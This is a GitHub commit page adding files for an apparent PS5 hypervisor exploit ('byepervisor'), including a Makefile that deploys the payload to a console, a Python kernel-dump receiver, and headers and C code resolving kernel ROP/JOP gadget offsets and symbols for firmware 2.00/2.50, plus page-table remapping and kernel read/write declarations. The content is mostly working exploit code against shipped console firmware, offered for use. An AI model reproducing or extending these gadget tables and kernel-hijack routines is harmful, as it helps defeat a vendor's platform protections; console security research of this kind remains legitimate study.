Skip to content

Commit 3f63e6b

Browse files
committed
Add new exploit code
1 parent 3eb46e3 commit 3f63e6b

29 files changed

+1315
-302
lines changed

_old_jump_table_exploit/Makefile

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
PS5_HOST ?= ps5
2+
PS5_PORT ?= 9021
3+
4+
ifdef PS5_PAYLOAD_SDK
5+
include $(PS5_PAYLOAD_SDK)/toolchain/prospero.mk
6+
else
7+
$(error PS5_PAYLOAD_SDK is undefined)
8+
endif
9+
10+
ELF := byepervisor_old.elf
11+
12+
CFLAGS := -Wall -Werror -g -I./include
13+
14+
all: $(ELF)
15+
16+
$(ELF): src/main.c src/bump_alloc.c src/kdlsym.c src/krop.c src/mirror.c src/notify.c src/paging.c src/util.c
17+
$(CC) $(CFLAGS) -o $@ $^
18+
19+
clean:
20+
rm -f $(ELF)
21+
22+
test: $(ELF)
23+
$(PS5_DEPLOY) -h $(PS5_HOST) -p $(PS5_PORT) $^
24+
25+
debug: $(ELF)
26+
gdb \
27+
-ex "target extended-remote $(PS5_HOST):2159" \
28+
-ex "file $(ELF)" \
29+
-ex "remote put $(ELF) /data/$(ELF)" \
30+
-ex "set remote exec-file /data/$(ELF)" \
31+
-ex "start"
+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
import socket
2+
import struct
3+
import time
4+
5+
# Console info
6+
CONSOLE_IP = "10.0.0.217"
7+
CONSOLE_PORT = 9003
8+
9+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
10+
s.connect((CONSOLE_IP, CONSOLE_PORT))
11+
12+
dump_data = bytearray()
13+
first_packet_recv = False
14+
first_packet_time = time.monotonic()
15+
s.settimeout(60)
16+
while True:
17+
try:
18+
data = s.recv(0x1000)
19+
if not data:
20+
break
21+
if not first_packet_recv:
22+
first_packet_recv = True
23+
first_packet_time = time.monotonic()
24+
25+
dump_data.extend(data)
26+
data_recv = len(dump_data)
27+
28+
kbps = 0
29+
if first_packet_time != time.monotonic():
30+
kbps = round(data_recv / (time.monotonic() - first_packet_time) / 1024)
31+
32+
print("Received {} bytes ({} kb/s)...".format(data_recv, kbps))
33+
34+
# If data received has exceeded 200MB, exit for safety
35+
if len(dump_data) > 0xC800000:
36+
break
37+
except socket.timeout:
38+
print("Timeout reached for receiving data (1 min)")
39+
break
40+
41+
dump_file = open("./kernel_dump.bin", "wb")
42+
dump_file.write(dump_data)
43+
dump_file.close()
44+
s.close()
File renamed without changes.
+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
#ifndef CONFIG_H
2+
#define CONFIG_H
3+
4+
/*
5+
* Enable debug logging via TCP connection to PC
6+
*/
7+
#define PC_DEBUG_ENABLED 1
8+
9+
/*
10+
* PC IP address for debug logging
11+
*/
12+
#define PC_DEBUG_IP "10.0.0.143"
13+
14+
/*
15+
* PC IP port for debug logging
16+
*/
17+
#define PC_DEBUG_PORT 5655
18+
19+
/*
20+
* TCP port to run the RPC server on
21+
*/
22+
#define RPC_TCP_PORT 9002
23+
24+
#endif // CONFIG_H
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#ifndef DEBUG_LOG_H
2+
#define DEBUG_LOG_H
3+
4+
extern int g_debug_sock;
5+
6+
#define SOCK_LOG(format, ...) \
7+
{ \
8+
char _macro_printfbuf[512]; \
9+
int _macro_size = sprintf(_macro_printfbuf, format, ##__VA_ARGS__); \
10+
write(g_debug_sock, _macro_printfbuf, _macro_size); \
11+
} while(0);
12+
13+
void DumpHex(const void* data, size_t size);
14+
15+
#endif // DEBUG_LOG_H
+44
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
#pragma once
2+
#ifndef KDLSYM_H
3+
#define KDLSYM_H
4+
5+
typedef enum {
6+
KERNEL_SYM_DMPML4I,
7+
KERNEL_SYM_DMPDPI,
8+
KERNEL_SYM_PML4PML4I,
9+
KERNEL_SYM_DATA_CAVE,
10+
KERNEL_SYM_PMAP_STORE,
11+
KERNEL_SYM_HV_JMP_TABLE,
12+
KERNEL_SYM_HIJACKED_FUNC_PTR,
13+
KERNEL_SYM_MAX
14+
} ksym_t;
15+
16+
typedef enum {
17+
KERNEL_GADGET_RET,
18+
KERNEL_GADGET_INFLOOP,
19+
KERNEL_GADGET_HYPERCALL_SET_CPUID_PS4,
20+
KERNEL_GADGET_RETURN_ADDR,
21+
KERNEL_GADGET_POP_RDI,
22+
KERNEL_GADGET_POP_RSI,
23+
KERNEL_GADGET_POP_RDX,
24+
KERNEL_GADGET_POP_RAX,
25+
KERNEL_GADGET_POP_RBX,
26+
KERNEL_GADGET_ADD_RAX_RDX,
27+
KERNEL_GADGET_MOV_R9_QWORD_PTR_RDI_48,
28+
KERNEL_GADGET_POP_R12,
29+
KERNEL_GADGET_MOV_QWORD_PTR_RDI_RSI,
30+
KERNEL_GADGET_POP_RSP,
31+
KERNEL_GADGET_MOV_RAX_QWORD_PTR_RAX,
32+
KERNEL_GADGET_MOV_QWORD_PTR_RAX_0,
33+
KERNEL_GADGET_SETJMP,
34+
KERNEL_GADGET_LONGJMP,
35+
KERNEL_GADGET_JOP1,
36+
KERNEL_GADGET_JOP2,
37+
KERNEL_GADGET_MAX
38+
} kgadget_t;
39+
40+
uint64_t kdlsym(ksym_t sym);
41+
uint64_t kdlgadget(kgadget_t gadget);
42+
uint64_t ktext(uint64_t offset);
43+
44+
#endif // KDLSYM_H
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#ifndef OFFSETS_2_50_H
2+
#define OFFSETS_2_50_H
3+
4+
uint64_t g_sym_map_250[] = {
5+
0x4CB3B50, // KERNEL_SYM_DMPML4I
6+
0x4CB3B54, // KERNEL_SYM_DMPDPI
7+
0x4CB38AC, // KERNEL_SYM_PML4PML4I
8+
0x248E7EC, // KERNEL_SYM_DATA_CAVE
9+
0x4CB38C8, // KERNEL_SYM_PMAP_STORE
10+
0x245BEE0, // KERNEL_SYM_HV_JMP_TABLE
11+
0x248EBB0, // KERNEL_SYM_HIJACKED_JMP_PTR
12+
};
13+
14+
uint64_t g_gadget_map_250[] = {
15+
0x167001, // KERNEL_GADGET_RET
16+
0x16ADB2, // KERNEL_GADGET_INFLOOP
17+
0xAE02D0, // KERNEL_GADGET_HYPERCALL_SET_CPUID_PS4
18+
0xAE093F, // KERNEL_GADGET_RETURN_ADDR
19+
0x1A6638, // KERNEL_GADGET_POP_RDI
20+
0x1671F0, // KERNEL_GADGET_POP_RSI
21+
0x2D79B8, // KERNEL_GADGET_POP_RDX
22+
0x1C3290, // KERNEL_GADGET_POP_RAX
23+
0x172A5F, // KERNEL_GADGET_POP_RBX
24+
0x201D59, // KERNEL_GADGET_ADD_RAX_RDX
25+
0x672D37, // KERNEL_GADGET_MOV_R9_QWORD_PTR_RDI_48
26+
0x62D1A1, // KERNEL_GADGET_POP_R12
27+
0x3B2906, // KERNEL_GADGET_MOV_QWORD_PTR_RDI_RSI
28+
0x1C2858, // KERNEL_GADGET_POP_RSP
29+
0x16B350, // KERNEL_GADGET_MOV_RAX_QWORD_PTR_RAX
30+
0x16B4F7, // KERNEL_GADGET_MOV_QWORD_PTR_RAX_0
31+
0x2486B0, // KERNEL_GADGET_SETJMP
32+
0x2486E0, // KERNEL_GADGET_LONGJMP
33+
0xB5D9AC, // KERNEL_GADGET_JOP1
34+
0x21A36B, // KERNEL_GADGET_JOP2
35+
};
36+
37+
#endif // OFFSETS_2_50_H
+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#ifndef PAGING_H
2+
#define PAGING_H
3+
4+
enum pde_shift {
5+
PDE_PRESENT = 0,
6+
PDE_RW,
7+
PDE_USER,
8+
PDE_WRITE_THROUGH,
9+
PDE_CACHE_DISABLE,
10+
PDE_ACCESSED,
11+
PDE_DIRTY,
12+
PDE_PS,
13+
PDE_GLOBAL,
14+
PDE_XOTEXT = 58,
15+
PDE_PROTECTION_KEY = 59,
16+
PDE_EXECUTE_DISABLE = 63
17+
};
18+
19+
#define PDE_PRESENT_MASK 1UL
20+
#define PDE_RW_MASK 1UL
21+
#define PDE_USER_MASK 1UL
22+
#define PDE_WRITE_THROUGH_MASK 1UL
23+
#define PDE_CACHE_DISABLE_MASK 1UL
24+
#define PDE_ACCESSED_MASK 1UL
25+
#define PDE_DIRTY_MASK 1UL
26+
#define PDE_PS_MASK 1UL
27+
#define PDE_GLOBAL_MASK 1UL
28+
#define PDE_XOTEXT_MASK 1UL
29+
#define PDE_PROTECTION_KEY_MASK 0xFUL
30+
#define PDE_EXECUTE_DISABLE_MASK 1UL
31+
#define PDE_ADDR_MASK 0xffffffffff800ULL // bits [12, 51]
32+
33+
#define PDE_FIELD(pde, name) (((pde) >> PDE_##name) & PDE_##name##_MASK)
34+
#define PDE_ADDR(pde) (pde & PDE_ADDR_MASK)
35+
#define SET_PDE_FIELD(pde, name, val) (pde |= (val << PDE_##name))
36+
#define SET_PDE_BIT(pde, name) (pde |= (PDE_##name##_MASK << PDE_##name))
37+
#define CLEAR_PDE_BIT(pde, name) (pde &= ~(PDE_##name##_MASK << PDE_##name))
38+
#define SET_PDE_ADDR(pde, addr) do { \
39+
pde &= ~(PDE_ADDR_MASK); \
40+
pde |= (addr & PDE_ADDR_MASK); \
41+
} while (0)
42+
43+
#define KERNEL_OFFSET_PROC_P_VMSPACE 0x200
44+
#define KERNEL_OFFSET_VMSPACE_VM_PMAP 0x1D0
45+
#define KERNEL_OFFSET_PMAP_PM_PML4 0x020
46+
47+
uint64_t get_proc_pmap();
48+
uint64_t pmap_kextract(uint64_t va);
49+
uint64_t get_dmap_addr(uint64_t pa);
50+
51+
uint64_t find_pml4e(uint64_t pmap, uint64_t va, uint64_t *out_pml4e);
52+
uint64_t find_pdpe(uint64_t pmap, uint64_t va, uint64_t *out_pdpe);
53+
uint64_t find_pde(uint64_t pmap, uint64_t va, uint64_t *out_pde);
54+
uint64_t find_pte(uint64_t pmap, uint64_t va, uint64_t *out_pte);
55+
56+
int downgrade_kernel_superpages(uint64_t va, uint64_t kernel_pt_addr);
57+
uint64_t remap_page(uint64_t pmap, uint64_t va, uint64_t new_pa);
58+
59+
#endif // PAGING_H
+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#ifndef UTIL_H
2+
#define UTIL_H
3+
4+
// Core pinning
5+
int pin_to_core(int num);
6+
void pin_to_first_available_core();
7+
int get_cpu_core();
8+
9+
// Kernel read/write
10+
void kernel_write8(uint64_t addr, uint64_t val);
11+
void kernel_write4(uint64_t addr, uint32_t val);
12+
uint64_t kernel_read8(uint64_t addr);
13+
uint32_t kernel_read4(uint64_t addr);
14+
15+
// Dumping
16+
void DumpHex(const void* data, size_t size);
17+
18+
#endif // UTIL_H
File renamed without changes.

_old_jump_table_exploit/src/kdlsym.c

+74
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
#include <sys/types.h>
2+
#include <ps5/kernel.h>
3+
4+
#include "debug_log.h"
5+
#include "kdlsym.h"
6+
7+
#include "offsets/2_00.h"
8+
#include "offsets/2_50.h"
9+
10+
uint64_t g_fw_version;
11+
uint64_t g_kernel_base = 0;
12+
13+
void init_kdlsym()
14+
{
15+
// Set firmware version
16+
g_fw_version = kernel_get_fw_version() & 0xFFFF0000;
17+
18+
// Resolve symbols
19+
switch (g_fw_version) {
20+
case 0x2000000:
21+
case 0x2500000:
22+
g_kernel_base = KERNEL_ADDRESS_DATA_BASE - 0x1B80000;
23+
break;
24+
}
25+
}
26+
27+
uint64_t ktext(uint64_t offset)
28+
{
29+
// Init kdlsym if it's not initialized already
30+
if (g_kernel_base == 0)
31+
init_kdlsym();
32+
33+
return g_kernel_base + offset;
34+
}
35+
36+
uint64_t kdlsym(ksym_t sym)
37+
{
38+
// Init kdlsym if it's not initialized already
39+
if (g_kernel_base == 0)
40+
init_kdlsym();
41+
42+
// Don't overflow sym table
43+
if (sym >= KERNEL_SYM_MAX)
44+
return 0;
45+
46+
switch (g_fw_version) {
47+
case 0x2000000:
48+
return g_kernel_base + g_sym_map_200[sym];
49+
case 0x2500000:
50+
return g_kernel_base + g_sym_map_250[sym];
51+
}
52+
53+
return 0;
54+
}
55+
56+
uint64_t kdlgadget(kgadget_t gadget)
57+
{
58+
// Init kdlsym if it's not initialized already
59+
if (g_kernel_base == 0)
60+
init_kdlsym();
61+
62+
// Don't overflow gadget table
63+
if (gadget >= KERNEL_GADGET_MAX)
64+
return 0;
65+
66+
switch (g_fw_version) {
67+
case 0x2000000:
68+
return g_kernel_base + g_gadget_map_200[gadget];
69+
case 0x2500000:
70+
return g_kernel_base + g_gadget_map_250[gadget];
71+
}
72+
73+
return 0;
74+
}
File renamed without changes.

0 commit comments

Comments
 (0)